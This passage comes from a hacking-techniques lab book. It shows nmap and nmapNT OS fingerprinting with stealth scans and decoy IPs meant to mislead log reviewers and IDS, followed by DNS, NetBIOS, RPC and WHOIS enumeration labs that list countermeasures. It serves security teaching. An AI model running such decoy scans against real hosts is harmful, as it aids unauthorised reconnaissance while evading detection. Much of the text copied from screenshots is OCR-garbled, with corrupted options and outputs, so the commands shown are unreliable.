ining.o charpool.o services.o protocols.o nmap_rpe.o pertlist.o NmapOps.o Target
Group.o Target.o FingerPrintResults.o service_scan.o NmapOutputTable.o MACLookup
.0 -Inbase -Insock libpcre/libpere.a -lpeap -lm

=]

| (root@localhost nmap-3.70]# |

EEmuw 4
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The last step is to create the executable by typing make install.

=
File Edi View M Team ‘Windows Help
mnle & ]
{3 Red Hat Linux
[ .root@ localhost:~/tools/nmap/nmap:3.70
File Edit View Terminal Go Help
[root@localhost nmap-3.707# make install

[S=L 1T

The nmap application will now be created.

Bl Red Hat Linux - YMware Workstation =5
File Edit wiew UM Team ‘Windows Help

ulre b on|eal
[+]

(53 Red Hat Linux

root@ localhost:~/tools/nmap/nmap-3.70
Eile Edit View Terminal Go Help

make([2]: Entering directory °/root/tools/nmap/nmap-3.70/nbase’

make[2]: Nothing to be done for "all'.

make[2]: Leaving directory '/root/tools/nmap/nmap-3.70/nbase’

make[1]: Leaving directory /root/tools/nmap/nmap-3.70/nsock/src’

./shtool mkdir -f -p -m 755 /usr/lecal/bin fusr/local/man/manl /usr/local/share/
nmap

./shtool install -c -m 755 nmap -s /usr/local/bin/nmap

./shtool install -c -m 644 docs/nmap.1l Jusr/local/man/manl/nmap.1

./shtool install -c -m 644 nmap-services /usr/local/share/nmap/

./shtool install -c -m 644 nmap-rpc /usr/local/share/nmap/

./shtool install -c -m 644 nmap-os-fingerprints /usr/local/share/nmap/

./shtool install -c -m 644 nmap-service-probes fusr/local/share/nmap/

_/shtool install -c -m 644 nmap-protocols /usr/local/share/nmap/

./shtool install -c -m 644 nmap-mac-prefixes /usr/local/share/nmap/

./shtool mkdir -f -p -m 755 /usr/lecal/bin /usr/local/man/manl /usr/local/share/
nmap /usr/local/share/gnome/apps/Utilities

If the next command fails -- you cannot use the X freont end

test —f nmapfe/nmapfe && ./shtool install -c -m 755 -s nmapfe/nmapfe /usr/local
/bin/nmapfe && rm -f /usr/local/bin/xnmap && ./shtool mkln -f -s /usr/local/bin/
nmapfe /usr/local/bin/xnmap &% ./shtool install -c -m 644 nmapfe.desktop /usr/1
ocal/share/gnome/apps/Utilities/nmapfe.desktop && ./shtool install -c -m 644 do
cs/nmapfe.1l /usr/local/man/manl/nmapfe.1 &% ./shtool install -c¢ -m 644 docs/xnm
ap.1l /usr/local/man/manl/xnmap.1
| [Toot@localhost nmap-3.70]#

acl gl o . =y

Eomb -

[+]
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In this example, to execute nmap against a target with the IP of 172.16.1.40
to determine the target’s operating system, type the following:

nmap -sS -p 139 -0 -D 24.213.28.234 172.16.1.40

B The —sS option instructs nmap to use a TCP Synchronized (SYN) stealth
port scan. This option is initiated by default if you are logged in as the
root user.

B The —p 139 option instructs nmap to scan for a specific port, in this
case port 139.

B The —O option instructs nmap to use TCP/IP fingerprinting to guess
the target operating system.

B The —D 24.213.28.234 option instructs nmap to use this IP address as
a decoy against the target to attempt to throw anyone off that may be
reviewing the logs, IDS sensors, and so forth

*Note: The “—p 7139” in the example above can be any port but normally is a port
known to be open on the target so many times port 53 or 80 is used.

Also, with the —D option the attacker can enter several decoy IP addresses
separated by a comma (24.24.24.24, 24.24.24.25 ...) but keep in mind the real
IP address will also traverse to the target as well. This supports using more
decoy IPs or spoofing your IP address altogether (spoofing is covered in
Chapter 6).

&l Red Hat Linux - ¥Mware Workstation 5 =loix|

File Edt Wiew VM Team ‘Windows Help

ureloen aa on

& 5 ] 3 Red Hat Linux
hd root@localhost:jtools/nmap/nmap:3.70

Eile Edit View Terminal Go Help

[root@localhost nmap-3.701# nmap -sS -p 139 -0 -D 24.213.28.234 172.16.1.40

ABSCHSRHE B

Eomew -
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The operating system guess will now take place.

i
File Edt Visw VM Team ‘Windows Help

uly @ |8 GHp s nn
[ Home {53 Red Hat Linux [ 7
.root@localhosti~/lools/nmap/nmap-3.70 i

File Edit View Terminal Go Help

v

files in your local directory

Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-11-07 20:39 CST
Warning: O0S detection will be MUCH less reliable because we did net find at lea
st 1 open and 1 closed TCP port

Interesting ports on win2000s-v (172.16.1.40):

PORT STATE SERVICE

139/tcp open netbios-ssn

MAC Address: 00:0C:29:A3:E4:40 (VMware)

/ME | NT/2K/XP

Millennium Edition s ¥ 2000 Professionalf
, Microsoft Wir

Nmap run completed -- 1 IP address (1 host up) scanned in 1.373 seconds
[root@localhost nmap-3.701#

AP HeE

Eamw

From a sniffer (sniffers are covered in Chapter 5) we can validate from the
target that the decoy IP address was sent to the target.

24 12.306600 24.213.28.234 172.16.1.40 ICMP Echo (ping) reguest

28 12.307638 24.213.28.234 172.16.1.40 =R 50443 > 80 [ACK] Seg=0 Ack=0 win
34 12.426033 24.213.28.234 172.16.1.40 TCP 50421 > 139 [SYN] Seqg=0 Ack=0 wi
30 12.439255 24.213.28.234 172.16.1.40 =R 50428 > 139 [S¥YM, ECN] Seq=0 Ack
43 12.430653 24.213.28.234 172.16.1.40 TCP 50429 > 139 [] seg=0 Ack=0 win=3
47 12.430858 24.213.28.234 172.16.1.40 TCP 50430 > 139 [FIM, SYM, PSH, URG]
51 12.455524 24.213.28.234 172.16.1.40 TCP 50431 > 139 [ACK] Seq=0 Ack=0 wi
55 12.455726 24.213.28.234 172.16.1.40 TCP 50432 > 33194 [5SYN] Seq=0 Ack=0

In this example the target has been identified as:
B Running Microsoft Windows 95/98/ME/NT/2K or XP

Also notice that the MAC address of the target has been identified; and
that the target is a VMware computer.

The nmapFE application acts as a front end for nmap and provides the
user a “windowed” environment.
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Follow the previous instructions to compile and create the nmap executable
The nmapFE application should be created during this process as well.

From a Linux terminal in the directory containing the nmapFE executable,
type the following:

nmapfe

B Red Hat Linux - YMware Workstation ol x|
File Edit ‘View %M Team ‘Windows Help

(3 Red Hat Linux
a ools/nmap/nmap:-3.70
Edit  View Terminal

& Red Hat L
Elle Go Help
[root@localhost nmap-3.70]# nmapfe

ARSI =

@ Eriev
B .
The nmapFE application will start.

Bl Red Hat Linux - ¥YMware Workstation

File Edi View YM Team ‘Windows Help

¥ root@lo/ v

Nmap Front End v3.70
File Edif File Wiew
[root@lo

Targel(s): [127.0.0.1

=
Scan | Discover | Timing | Files | Options

L3
Scan Type

SN Btealth Scan

Scanned Ports
«|  [oefaut
Relay Host |

:
‘ Range:
Scan Extensions

[JRPC Scan [ Identd Info  [#] O Detection [] Version Prabe

Vou are root - All options granted

|E3

=

E%@Q s8R

20 Mon Nov 07

9:14 PM
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In this example to set the nmapFE scan to produce the same results as the
Linux terminal counterpart (nmap):

B Change the default target of 127.0.0.1 to 172.16.1.40.
B Change the Scanned Ports from Default to Range Given Below and enter 139.

B Make sure

only OS Detection is checked under Scan Extensions.

Click on the Options tab, select Decoy, and enter 24.213.28.234.

Bl Red Hat Linux - YMware Workstation

=10l x|

File Edt View VM Team ‘\Windows Help

¥ rootd@lo

Eile
[root@loc]

Edit][ =

b NMap Front End v3.70

Eile  ¥iew

Targel(s): [172.16.1.40

Reverse DNS Resolution Source Misc. Options

[ Device I:l [ Fragmentation
e [ oOvs

CEIEL O [ Dowesaren

X

‘fou are root - All options graned

I»

=

e%acmsol

Mon Nov 07
10:05 PM

9

:

EEmw

Click Scan.

Bl Red Hat Linux - YMware Workstation

File Edt View VM Team ‘\Windows Help

¥ rootd@ |

File Edi
[root@lo

B4 Nmap, Front End,v3.20
Eile  Wiew Help
Targel(s): [172.16.1.40 [ sean |[ et |
Scan | Discover | Timing | Files | Options
Scan Type Scanned Parts
S¥N Stealth Scan v | ‘ Range Given Below v ‘
Relay Host | | Range: [13g] |
Scan Exensions
[JRPC Scan []ldentd Info [« OS Detection [ ] Version Prohe X

‘fou are root - All options graned

I»

=

eoscmsaE




116 W Practical Hacking Techniques and Countermeasures

The results of the scan will be given.

Red Hat Linux - V™Mware Workstation N

=1olx|

File  Edit Yiew Team Windows Help

TR ERERE ) ml=]

(o]

(3 Red Hat Linux

i a (ol hd Nmap Front End ¥3.70
File EQ| File  View
[rootal

Targets): |172.16.1.40 I; Scan

Scan | Discover | Timing | Files | Options

Scan Type Scanned Ports
SYN Stealth Scan - ‘ | Range Given Below -
Relay Host Range: [133

Scan Extensions

[JRPC Scan [ ldentd Info [ OS Detection [ Version Probe

IPLEFESTIAg POFLS OR WINZUUUS-V L L/2Z, 1o, L,4Us]
WARNING! The following files exist and are readable;
/usr/local /share/nnap/niap-services and /nuap-ssryices.
/usr/local/share/nnap/nnsp-services for security reasans.
priority to files in your local directory

PORT STATE SERVICE

129/tcp open  netbios-ssn

WARNIMG! The following files exist and are readable:
#usr/local/share/nmap/nnap-nac-prefixes and ./nnap-nac-prefixes. I am choosing
Ausr/local/share/nwap/nnap-mac-pref xes for security reasons. set MMAPDIR=. to give
priority to Files in your local directory

MAC Address; 0030C;293A3:E4140 (VMuare?

Device tupe! general purposs

|Running ¢ Microsoft Hindows 95/98/MEINT/2K/HP

05 details: Microsoft Hindous Millenmium Edition {(Me). Hindows 2000 Professional or
Advanced Server. or Hindows HP, Microsoft Hindows HP SP1

I am choosing
=et NMAPDIR=. to give

-
S

Mmap run completed -- 1 IF address {1 host up} scanned in 2.208 seconds

LBgafi "=

.

Mon Nov 07
10:08 PM

BEEmw -

Again, the sniffer from the target acknowledges the decoy IP address was
sent to the target.

89 B.5322688 24.213.28.234 172.16.1.40 =R 58838 > 1338 [SvN] Seqg=0 Ack=0 wir
83 B.416579 24.213.28.234 172.16.1.40 TCR 58837 » 139 [Svn] Seq=0 ack=0 wir
79 B.274087 24.213.28.234 172.16.1.40 TCR 58836 > 139 [SvN] Sel Ac| wir
74 B.126475 24.213.28.234 172.16.1.40 TCRP 58835 > 1358 [Svn] se Ac| wir
B9 7.937371 24.213.28.234 172.16.1.40 TCR 58834 » 139 [SYN] Sai Ac| wir
64 7.775072 24.213.28.234 172.16.1.40 TCP 58833 > 133 [SvN] Seq=0 Ack=0 wir
59 7.739771 24.213.28.234 172.16.1.40 Uk Source port: 58832 Destination g
535 7.730380 24.213.28.234 172.16.1.40 TCP 58845 > 38764 [FIN, PSH, URG] Ser
51 7.739072 24.213.28.234 172.16.1.40 TCR 58844 » 38764 [Aack] Seg=0 Ack=0 v
47 F.73B7V9 24.213.28.234 172.16.1.40 TCR 58843 > 38764 [5vn] Seq=0 Ack=0 &

The results from nmapFE are identical to the terminal version. Again,
nmapFE is only a front end for nmap.
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Lab 19: Operating System Identification
Identify Target Operating System: NmapNT

Prerequisites: None

Countermeasures: Banner alteration, firewalls, Intrusion Detection System
aDs)

Description: The nmapNT application can be used to identify the possible
operating system (OS) of the target. An attacker uses this information
to launch appropriate attacks for the results obtained. The difference
between nmapNT and Xprobe2 from Chapter 2 is that this application
allows the option of initiating a decoy IP address against the target.

Procedure: Install nmapNT drivers, nmapNT application and run against
the target.

nmap <options> (IP Address)

In order to use nmapNT on Windows you will most likely need to install
the drivers included with the application.

Open the Properties of the NIC you are using by right-clicking on the
Network Neighborhood and selecting Properties.

s Network Connections B =1o] =]
File Edit Wiew Favorites Tools  Advanced  Help | " |
ek - €3 - [T | ) search Folders ‘E-

Address [ network Connections =1 Go

MName | Type | status |
Network Tasks £ Dial-up

|5 Create 2 new connection
@ Change Windows Firewall
settings P Inkernal Wireless LAMN or High-Speed Inter...  Connected

LAN or High-Speed Internet

»

See Also

A Metwork Troubleshooter

Other Places =

@ Control Fanel
& My metwork Places
(=3 My Documents

¥ My Computer

»

Details

Network Connections
System Folder
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Right click on the network card and select Properties. Click Install.

L Internal Wireless Properties 21 x|
General | Wireless Networks I Advanced I

Connect uging:

I B2 Duslband WiFi

This connection uzes the following items:
-

=k Client for Mi
$Blvirtual Machine Net
.@ Deterministic Metwork Enhancer

4=l wsare Bridae Fratocol il
4| |
Install... | Urinztall | Properties |
— Description

Allowss your computer bo access resources on a Microsoft
network.

v Show icon in notification area when connected
[ Motify me when this connection has limited or no connectivity

ak. | Cancel

Click on Protocol to highlight it and click Add.

Select Network Component Type 2 x|

Llick the type of netwark, component you want to install:

155 Cligt
.9 Service
o " locc

— Dezcription

A protocol iz & language your computer Lges to
communicate with other computers.

Add... Cancel
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Click Have Disk.

Select Network Protocol ) 2l x|

Click the Metwork, Protocol that wou want to install, then click OF. [F pou have
3 an installation disk for this compaonent, click Have Disk.

M anufacturer | Hehwark Protocol: |
En Garde \windows Packet Filter
icrozaft

& This driver i_s nut. digit_all_y zigned! e |
Tel me why driver sighing iz impartant

Cancel |

Click Browse and from the nmapNT\drivers\packet2K directory select
the Packet_2k.inf file.

Install From Disk

Inzert the matufacturer's installation disk, and then oK
. make sure that the commect diive is selected below.

Cancel

dik

Copy manufacturer's files from:
4] j Browse... |
Click Open.

Lok, ji; IlﬂF’acketEK j e Nt e B

File name: — Packet_2k.inf [ lﬂl
Files of wpe: ISetupInfnrmation[".inf] ﬂ ﬂl

P
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Click OK.

Install From Disk x|
Inzert the manufacturer's installation disk, and then ok |
L make zure that the comect diive is selected below.

Cancel

Copy manufacturer's files from:

C:\Downloadshnmaph T\MmapnthDRYERS \Pack j

Click OK to acknowledge that you are installing a new packet driver.

Select Network Protocol : el |

T Click the Metwork Protocol that pou want to ingtall, then click OF.

Metwork Pratocol: |
Packet capture driver v2.02

This driver iz not digitally signed!
Tell e why driver signing is impartant

Cancel
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The driver will install. Click Close.

L Internal Wireless Properties

General |Wile|ess Netwnlksl .t’-‘-.dvancedl

Connect uging:

I B Dualband WiFi

This connection uzes the following items:

Configure. .. |

2]

=!I Client for Microsoft Metworks

.@; Deterministic Metwork Enhancer

4=l wsare Bridae Fratocol
4

.@;Virlual Machine Metwork Services

Install... I Urinztall

Properties |

— Description

etk

Allowss your computer bo access resources on a Microsoft

v Show icon in notification area when connected
[ Motify me when this connection has limited or no connectivity

Cloze

| Earizel |

In this example to execute nmap against a target with the IP of 172.16.1.40
in order to determine the target’s operating system, type the following:

nmapNT -sS -p 139 -0 -D 24.24.24.24 172.16.1.40

B The —sS option instructs nmap to use a TCP SYN stealth port scan. This
option is initiated by default if you are logged in as the root user.
B The —p 139 option instructs nmap to scan for a specific port, in this

case port 139.

B The —O option instructs nmap to use TCP/IP fingerprinting to guess

the target operating system.

B The -D 24.24.24.24 option instructs nmap to use this IP address as a
decoy against the target to attempt to throw anyone off that may be
reviewing the logs, IDS sensors, and so forth.

*Note: The —p 7139 in the example above can be any port but normally is a port
known to be open on the target so many times port 53 or 80 is used.
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Also, with the —D option the attacker can enter several decoy IP addresses
separated by a comma (24.24.24.24, 24.24.24.25, ...) but keep in mind the
real IP address will also traverse to the target as well. This supports using
more decoy IPs or spoofing your IP address altogether (spoofing is covered
in Chapter 06).

mmand Prompt :

C:“\Douwnloads nmapNT“Hmapnt>nmapnt —s§ —p 13% -0 -D 24.24.24.24 172.16.1.48_

The scan results will be displayed.

INNT" System32!

C:\Downloads“nmapNT“Nmapnt>nmapnt —-s8 —p 132 -0 -D 24.24.24.24 172.16.1.48

Starting nmapNT U. 2.53 SP1 by ryanBPeEye.com
eEye Digital Security ¢ http:/swww.eEye.com
hased on nmap by fyodorPinsecure.org ¢ wuw.insecure.org/nmap”s >

Interesting ports on win2@B| {172.16.1.48>:
Port State Serv
132 /tcp open nethio n

jve increments

TCP Sequence Prediction: CL andom posit
Di. 1ty=17268 <(Uorthy challenge>
Remote operating system gue indows 2BB8 Professional., Build 2183 {RC3>

Nmap run completed — 1 IP address (1 host up? scanned in 1 second

C=~Downloads“nmapHT“Nmapnt >

The sniffer results (sniffers are covered in Chapter 5) validate that the decoy
packets were indeed sent to the target.

25 18.270548 24.24.24.24 172.16.1.40 TCP 45391 > B0 [Ack] Seq=0 ack=0 win
30 18.633611 24.24.24.24 172.16.1.40 TCR 45371 > 130 [SYN] Seg=0 Ack=0 wi
34 1R8.6458427 24.24.24.24 172.16.1.40 TCR 45378 » 139 [SvN, ECN] Seq=0 ack
58 18.630005 24.24.24.24 172.16.1.40 TCP 45379 > 139 [] Seg=0 Ack=0 win=4
42 18.664043 24.24.24.24 172.16.1.40 TCR 45380 » 139 [FIN, SYN, PSH, URG]
46 18.664563 24.24.24.24 172.16.1.40 TCP 45381 > 139 [ACK] Seg=0 Ack=0 wi
50 18.665042 24.24.24.24 172.16.1.40 TCR 45382 » 43299 [Svn] Seg=0 Ack=0
54 18.673674 24.24.24.24 172.16.1.40 TCP 45383 > 43209 [ACK] Seq=0 Ack=0
58 18.674228 24.24.24.24 172.16.1.40 TCR 45384 > 43299 [FIN, PSH, URG] Se
62 1R8. 674471 24.24.24.24 172.16.1.40 uppP source port: 45371 Destination

The results of this scan indicate that the target:

B [s probably using Windows 2000 Professional, which is accurate for
the target.
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Lab 20: IP/Hosthname Enumeration

Enumerate IP or Hostname: Nslookup

Prerequisites: None

Countermeasures: Firewalls, Intrusion Detection Systems (IDS)

Description: The nslookup application will query the Domain Name
System (DNS) to obtain the hostname to IP match in the DNS records.

Procedure: From a DOS prompt or Linux shell type the following with
the syntax of

nslookup (Hostname or IP Address)

Command Prompt

oundstonel>nslookup 143.166.83.231
hot—dns—cac—B2—dnfeB.hot .rr.con
24.26.193.63

Name : wuu.dell.com
Address: 143.166.83.231

C:\Tools\Foundstonel>

In this example the nslookup application returned the hostname of
www.dell.com for the IP address of 143.160.83.231.

21 Red Hat Linux B Server - Viiware Workstation

Fle Edt Wiew VM Power Snapshot Windows Help
Ww(e @ e B ul =l

Rel Hat Linux § Server

hd oot localho “ ONso -|

Session Edit View Settings Help

&) [/

[root@localhost Toot]# nslookup www.google.com [=]
B Note: nslookup is deprecated and may be removed from future releases

Consider using the 'dig’ or “host' programs instead. Run nslookup with

the "-silfent]’ option to prevent this message from appearing.

Server: 192.168.0.1

M |address: 102.168.0.1#53

®

~INon-authoritative answer:
[ f | googie.com canonical mame = www.google. akadns.net
Name:  www.google.akadns.net
gl |Address: 64.233.167.104
Name:  www.google.akadns.net
|Address: 64.233.167.99

[root@localhost root]# I

file:/root/nmapcr @ Mozilla-bin

a® LHe=h

Nslookup works well in Linux as this example resolved the hostname of
www.google.com to both 64.233.167.104 and 64.233.167.99.

*Note: According to the Linux lab above the nslookup command is not the preferred
choice in Linux as the Dig command is recommended. The Dig command is
used to resolve name server information like nslookup.
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Lab 21: IP/Hostname Enumeration
Enumerate IP or Hostname: Nmblookup

Prerequisites: None
Countermeasures: Firewalls, Intrusion Detection Systems (IDS)

Description: The nmblookup application will query the NetBIOS name
and map that name to the IP address using NetBIOS over TCP/IP

queries. All queries are done over the UDP protocol. Using the —T in
place of the —A option will return the IP address for a given hostname.

Procedure: From a Linux shell type the following with the syntax of

(Hostname or IP Address)

nmblookup <options>

7 Red Hat Linux B Server - ViMware Workstation
Edit  Wiew ¥M  Power Snapshob  Windows Help

W[ p @ | B smeshet kg am |

3 SUSE Linux 8.2

i File

root@ localhost:~ - Shell - Konsole
Session Edit View Settings Help

a
[root@localhost root]# nmblookup -A www.texnet.net

Looking up status of 64.217.60.4

[root@localhost rootl# [l

ile:/root/nmapcr @ Mozilla-bin

Gom |

In this example, www.texnet.net returns an IP address of 64.217.60.4
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Lab 22: RPC Reporting
Report the RPC of Target: Rpcinfo

Prerequisites: None

Countermeasures: Disable unneeded services; allow only needed ports
through the firewall

Description: The rpcinfo application makes a Remote Procedure Call
(RPO) to the target and reports the results. Attackers use the results to
identify what ports/exploits to attack/use.

Procedure: From a Linux shell type the following with the syntax of:

rpcinfo <options> (Hostname)

In this example, the target 192.168.11.123 has 5 RPC ports open.

=1 Red Hat Linux B Server - VMware Workstation

: Flle Edt Wiew VM Power Snapshot  Windows  Help

ol \?|@ B3 snapshot

' hdroot® localhost:~/tools/banner/temp - Shell - Konsole
Session Edit Wiew Settings Help

O 1olls]

root@localhost templ]# rpcinfo -p 192.168.11.123

CD/DVD-R{|
program vers proto port
100000 x tecp 111 portmapper

u 100000 2 udp 111 portmapper
100024 1 udp 1025 status

Floppy 100024 1  tcp 1024 status
391002 2 tcp 1025 sgi_fam
F [root@localhost templ#
NG
Home

Start Her

a®d S SepH 01

*Note: Notice rpcinfo reports both TCP and UDP ports. Many users forget there are
65535 TCP and 65535 UDP ports to be concerned with. Many times UDP is
overlooked.
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Lab 23: Location/Registrant Identification

Gather Registration Info/Trace Visual Route: Visual Route

Prerequisites: None

Countermeasures: Use generic registrant information; use registrants to

hide your personal information.

Description: The Visual Route Web site located at http://www.visualroute.
com provides not only a route to the target but a visual indication of
the location of the target in a representation of a global map. The
registrant information may also be obtained on the target or links to
the target. There is also a visual route application for Windows that

can be purchased.

Procedure: From http://www.visualroute.com enter the target host-

name or IP.

 ¥isualRoute Server: Dulles, Yirginia, USA - Microsoft Internet Explorer

Ele Edt Wiew Favortes Tools Help

Gback - = - (@ [ A | Qoearch Ggravorites Gmeda B | B S = - 2

isualwar

address [€] htp l=tispiveyAOhot 2B 2E

LO073EBADO1DFOCD

=] Poo [uis >

Google - [

| Epsearchweh - Ggsearchse | g3 | @+ Bhesbiocked | Rdontons ) + A

o T (IR emak [ i o d cubsaription to the Visualvare nensletter,

Visuall ookout
Newr w4 now available!

and press the Enter key,

2. To trace back to your computer, select the button with your IP address below,
3, To trace to any other network device, enter the host name (ie. www, visualvare.com) or 1P address below

To try it fram your own systern, download your oun 15-day evaluation copy today!

Help your suppart
parsannel quickly

sualLookout
monitors open ports
on your system that
firawalls often do not

Enter Host/URL: |G

- 24243186.72 | Stop

Snap..

isolate performance

and configuration problems

protect, induding
automated capture of
connection activity, Features

Report for www.disney.com [198.187.190.55]

include identification of 1P
address country of origin,
and email alerts to natify

(running Metstape-Enterprise/a 6 5P3)

{Analysis: Connections to HTTF port 80 on host www.disney.com’ are warking, but IGMP packels are heing
hlocked past network "UUNET Technologies, Inc. JUNET-BACKBONE" athop 8. ltis a HTTP server

Synthetic
measurement of
critical customer

you of suspicious activity,

DesktopAnalyzer

at the customer's desktop.

DesktopProfile

Measure the

web pages -
Panesleuth provides
accurate measurement of
the Internet connetion and
throughput of your 15
provider (bandwidth
performance) and download
time of & Web page or
transaction,

Open Directory (0]
g€ Site

Prwwedty

K Visuabware

services with system and
Pup %Logs|IF Address  |Node Name | Location [Tzone |ms | Graph |Netwark netwark resource uilization,
0 TB1.58.180.11 [WINT011 5 0 #2[verio, Inc. VRIO-161-0
eMailTrackerPro Newvs| |11 1616817612 0 [Verio, Inc. VRIO-161-0|| ———————————
now available! 2 161.58.156.14|- o 0 Verio, Inc. VRIO-161-0 The Five Zones
el el el 3 128.250.28.20 |xe-1-2-0-3.r20. |Ashburn, V&, USA |-05.00]0 veio, Inc. VRIO-129-2|| [Undarstanding and
h-ar.ks Intemet 4 128250870 |p16-0.uunetac/Ashburn, VA, USA |-05:00(0 Verio, Inc. VRIO-128-2|| | managing the customer
emails back to the 5 152,63.42.1740.50-2-2-0 XL.2|Washington, DG, 1|-05.00/10 LUUNET Technologies E“PE”E”[E F”"]TE”‘E(
fi'l.':i? uSnE:uuwu:uDCv-a“cF [ 15263144 29|0.50-3-0-0 TL2|Washington, DC, L|-05:00(0 \ UUNET Technologies d“;‘(ﬁ:;;ﬁ;;a :::d‘i\:w
e 7 162.63.10.125|0.50-7-0-0.TL2| Allanta, GA USA  |-05:0015 UUNET Technologies | | visuakrare divides the
8 152,63.80.81 |0.50-5-0-0.CLZ| Orlando, FL, USA 31 LUUNET Technologies|| | “end-to-and” sarvice
) 162638363 | 244 ATMB-0.G\| Orlando, FL, USA 31 UUNET Technologies || | delivery process into five
pagssiout | | el T
? 198.187.180.5 | disney.cc| Disney Worldwide Ser| he\?;mg you manage the

Internet customer
experience,

Visualware Home
Salutions far:
Hame/Horne Office
Busineszes
Enterprises

Exchsnae Points
raceroute.org

tracert.com

Quick Links

Cool Links

&

[ Iotemet

In this example, Visual Route tracks and displays a
http://www.disney.com. Fach link is not only identified by its IP address

route to
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but a location is given for each link. Attackers use

this information to identify

potential routers between themselves and their intended targets.

il
File Edt Options Tools Help
Acress itp: v hotmail.com F© IPAddesses[207E8171 253«
LsRR [ 3815n, B3 33w
Real-time report for www.hotmail.com [207.68.171.233] (50% done) 28
Analysis: Connections ta HTTP part 80 an host s hatmail.com' [d.cb. msn.carn] are working, butICMP packets are being hlocked past
network "64.86.190.0" at hop 17. It is a HTTP server (running Microsofi-IIS/5.0)
Hop |%Loss [IP Address Node Name Location Tzone [ms Graph Netwark o
0 192.168.1.102 maximus-hp o 200 | (private use)
1 10,7264 - E 15 (private uge)
2 24.26.192.33 pos0-3 wacobmhe-rirt |- 1 24.26192.0
g 249333124 srp3-0.austhrde-rird tex|- 24 24.93330
4 24.83.33.153 50n0-0- 0N St 3-tr1 te- 35 24.93330
5 BG.185133.148  |popi-hou-PO-3 atdn.ne k]l 66.185.133.0
[ 66185150144 [bb1-hou-P0-2 atdn.net 32 66.1685.150.0
7 56185152132 |bb1-dls-P6-0.atdn.net 75 66.185.152.0
8 66.185.153.29 bh2-dls-P2-0.atdn.net 44 66.185.153.0
g 56185152128 |bb2-key-P6-0.atdn.net 51 66.185.152.0
10 66185152126 |bb1-key-P1-0.atdn.net 75 66.185.152.0
11 56185152124 |bb1-chi-PE-D.atdn.net i3} 66.1685.152.0
12 B6.185.148.65 pop3-chi-PO-0.atdn.net 75 66.185.148.0
13 66.110.27.33 if-0-2.core1.Chicago5de|Chicaga, IL, USA -06:00|67 66.110.27.0
14 B6.110.27.78 if-4-0.core3.Chicagn3.te| Chicago, IL, USA -06:00|153 66.110.27.0
15 207.45.223.214 i-8-0.core2.Chicago3.T|Chicago, IL, USA -06:00(155 207.45.223.0
16 54.86.83.138 if-2-0.core2 Sacrament| Sacramento, CA, USA |-08:00(118 64.86.82.0
17 £4.86.190.2 114 64.86.190.0
7 207 68171233 |wwwhotmail.com 207.68.171.0
Roundirip time to 64.86.10.2, average = 114ms, min = 101ms, may=121ms - 16-Jan-04 10:10:34 PM
(=
13.Chicago
4&?&@@ﬁ?"4ﬁ4ﬂfrﬁr—k_ﬁk—d
ZOOM IN: left mouse click, ZOOMOUT: figbd giuse Flick, MOVE: click and deag, =

In this example, the location and links to the http://www.hotmail.com
target are given. The map that is generated can be zoomed in closer by left-
clicking on an area of the map. By clicking on the target the registrant

information is obtained.

DOMAIN: il.com (whois.networ com)

Snap. |<,|,>|><

Registrant:

Microsoft Corporation
One Microsoft Way
Redmond, CA 98052
us

(HOTMAIL-DOM)

Domain Name: HOTMAIL.COM
Administrative Contact:
Gudmundson, Carolyn
One Microsoft Way
Redunond, WA 38052
us
(425) ©52-5080 fax:

(PPUFREYFWI)

(425) 9386-7328

Technical Contact:
NOC, MSH  (RWIALTFZAI)
One Microsoft Way
Rednond, WA 98052
us
425-882-8080

Record expires on Z8-Mar-2Z0l0.
Record created on Z7-HMar-1996&6.
Databhase last updated on l16-Jan-2Z004 Z5:10:44 EST.

Domain serwvers in listed order:

N51.HOTMATL. COM 215,200, 206, 140
N%3.HOTMATIL. COM 209.155.130.63
N3Z.HOTMAIL. COM 216,200, 206,139
N34.HOTMATL. COM 64.4.29. 24

Nertwork Solutions reserves the right to modify these terms at any time.

domainsfnicrosoft. com

manhstEmicrosoft. com

*Note: Notice the DNS server IP addresses and hostnames are given as well, which

may provide more useful targets.
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Lab 24: Registrant Identification
Gather IP or Hostname: Sam Spade

Prerequisites: None

Countermeasures: Use generic registrant information; use registrants to

hide your personal information.

Description: The Sam Spade Web site located at http://www.samspade.
org provides a variety of tools against a target such as registrant

information and tracing the route to the target.

Procedure: From the http://www.samspade.org Web site enter the

target hostname or IP.

In this example, the target site is http://www.spiveytech.com.

3 samSpade.org - Microsoft Internet Explorer provided by JHA

Eile Edit View Favorites Tools Help

EIB&

Qe - © - [¥] [B] @0 O search §lrravortes @Preds €2 i BB E 3

Address | @] http: e, samspads. orgy v Bee  nks *

Google - | @psearchweb - A Ehsesblocked [ options

Sam Spade..

~

System outages SamSpade.org has been increasingly unreachable for the past couple of months. This has been due
to sewveral reasons - general networl problems, blackholing of SamSpade. org by several RIRs and general heavy

uzage.

This is a slightly trimmed down version of the SamSpade. org site, while T deal with some of the other issues

The SamSpade org FAQ
Lots of online tosls

.
.
e Sam Spade for Windows
e The Library

s Link to SamSpade.org

Get SamSpade org stff - T-shirts, mugs, mouse pads, boxer shorts, frisbees

“Who is the real Sam Spade? A character created by writer Diashiell Harmett.

v, Spivesytach.com )
[V ] (¥
[P hais

£&] & Internet
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By clicking the Do Stuff button the registrant information is retrieved by
a WHOIS query.

I whais - Micreoft Internot Explarer provided by JHA J|(=]';
e Ed Yow Fgeortes ook el 4

Qi @ ¥ [B @ Pt Soronas e @ (2-05 vl - IHIE 3
< | ] herme v sovmspade. et charset_suf 8 v o ks ™
Gougle - fhseachwet - G Ehsasbioded Iz
Py
whois

Whait; W spiveytech. com

@whaiy. | Magic | [ Whois |

Server Used [whals.cranicned ]
weww spiiveytech.com = | 64.217 60,4 |

# whaols.wildwestdomalns.com failed 1o respond =
drsplaymg Robermr's Records fwhois crsnic. nil)

Whoes Sener Viersion 13

Dioenain namas in the com and .net domaing can now be registersd
wilh miany dilferent competing regratrars. Go Lo Wip:www, intermic,net
for detailod information

Domain Rame: SPIVEYTECH.COM

Rogstrar WILD WEST DOMAINS INC

‘Whois Server whelswildwestdomains.com
Referral URL: hirpewewwe wildwestdamalns.cam
Mame Servor NSTLTEXNET.NET

Name Server NSZLTEXNET.NET

Status: ACTIVE
Updated Date. 1
Creation Date: - 2004
Expiration Date: 10-sep-2005 >>> Last update of whois database: Mon 11 Oct 2004 06: 58: 27 EDT <<=

NOTICE The expiration datie desplayod in this rcord is the date T
registrar's sponsorship of the domain name registration in the registry is
rurrently a2t tn svnirs This dste Anes net narssesily raflae) the synirsiinn

The results of this example show that:

http://www.spiveytech.com has the IP address of 64.217.60.4.

